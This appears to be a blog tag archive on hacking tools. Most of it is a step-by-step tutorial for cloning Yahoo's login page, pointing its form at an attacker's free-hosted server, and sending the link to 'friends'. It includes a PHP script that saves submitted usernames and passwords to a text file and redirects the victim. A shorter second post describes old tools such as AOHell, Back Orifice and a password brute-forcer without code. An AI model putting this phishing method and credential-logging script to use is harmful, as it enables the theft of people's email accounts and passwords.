Tag Archive: Hacking Tools


Hack any yahoo account!!

In this post I’ll show you to hack yahoo using fake login page to hack yahoo in simple steps.A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.

Here in this post I will give a procedure to create a fake login page of Yahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.

Here is a step-by-step procedure to create a fake login page and hack yahoo.

Hack yahoo using fake login page – Procedure

STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com

STEP 2.

Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
To save the page goto File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .

STEP 4.
Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”

Rename the above link into

src=”files/ma_mail_1.gif”

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.
Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.com with yahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.
Now you have to upload your yahoo.HTML, files folder and login.php to

yoursite.com Root folder

NOTE: Make sure that your host supports PHP

Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password

NOTE: The concept here is to save the password.The format is not important here.

STEP 9.
Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.
here is the login script which i am posting due to large number of request

header(“Location: http://WEBSITE “);
$handle =

fopen(“pass.txt”, “a”);
foreach($_GET as

$variable => $value) {
fwrite($handle,

$variable);
fwrite($handle, “=”);

fwrite($handle, $value);
fwrite($handle,

“\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;

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INTERNET HACKER TOOLS

Hackers are generally lazy but intelligent, which means they don’t like doing something boring that they can program the computer to do for them instead. As a result, hackers have unleashed a variety of tools designed to make their lives easier (but their victims’ lives more miserable). Some of these tools include scanners (to find open ports on vulnerable computers), remote Trojan horse programs (to take over a computer through the Internet), and password crackers (designed to exhaustively try out different password combinations until they finds one that works). To see what types of tools hackers may use against you, browse through the following:

AOHell

Released around 1995, AOHell  defined the standard for online harassment programs and quickly spawned numerous copycats for harassing other online services including CompuServe, Prodigy, and the Microsoft Network. Written in Visual Basic 3.0, AOHell was a relatively simple program that helped hackers send spoofed email, create phony credit card numbers for making fake AOL accounts, con AOL users out of passwords and credit card numbers, and send insulting messages to others in chat rooms.

AOHell, the first and original online harassment tool.
Although AOHell initially caused problems for America Online users, the program is now obsolete. Few hackers are currently developing AOHell copycat programs, preferring to channel their energy towards creating more sophisticated Internet hacking tools such as port scanners or harassment tools that cause chaos on IRC or in ICQ chat rooms.

BO2K – Back Orifice

With a name deliberately chosen to mock Microsoft’s Back Office program, Back Orifice caused a sensation when released in 1998 as one of the first remote access Trojan horse programs that could remotely control another computer over a phone line or through the Internet

Back Orifice 2000 is the latest incarnation of the popular and ground-breaking remote access Trojan horse.
Developed by a hacker group calling themselves the Cult of the Dead Cow, Back Orifice (http://www.bo2k.com) made headlines again in 1999 when it was released at DefCon 7.0 with improvements, including the option of adding plug-in programs written by others, and the complete C/C++ source code so that anyone could study and modify the program. Ironically when introduced at DefCon, the Back Orifice 2000 CD was infected by the Chernobyl (CIH) virus.

Although Back Orifice still poses a threat to computers, the buzz surrounding BO2K has faded. Still, the program has spawned numerous remote access copycats programs that have improved upon the original Back Orifice design, and despite its age, Back Orifice still remains a favorite tool for hackers to probe computers connected to cable or DSL modems.

Crack Whore

One of the new breed of website hacking programs, Crack Whore uses a brute force/dictionary attack against a website to find the password to a legitimate account . Since so many people use weak, easy to guess passwords, programs like Crack Whore are surprisingly successful far more often than they should be!!

Crack Whore probes a website for easily-guessed passwords to give a hacker access to a system.
Once hackers have access to a legitimate account, they can either modify web pages and other data directly or attempt to burrow through the system and either gain access to additional accounts or elevate the current account to get greater access to the rest of the computer hosting a particular website.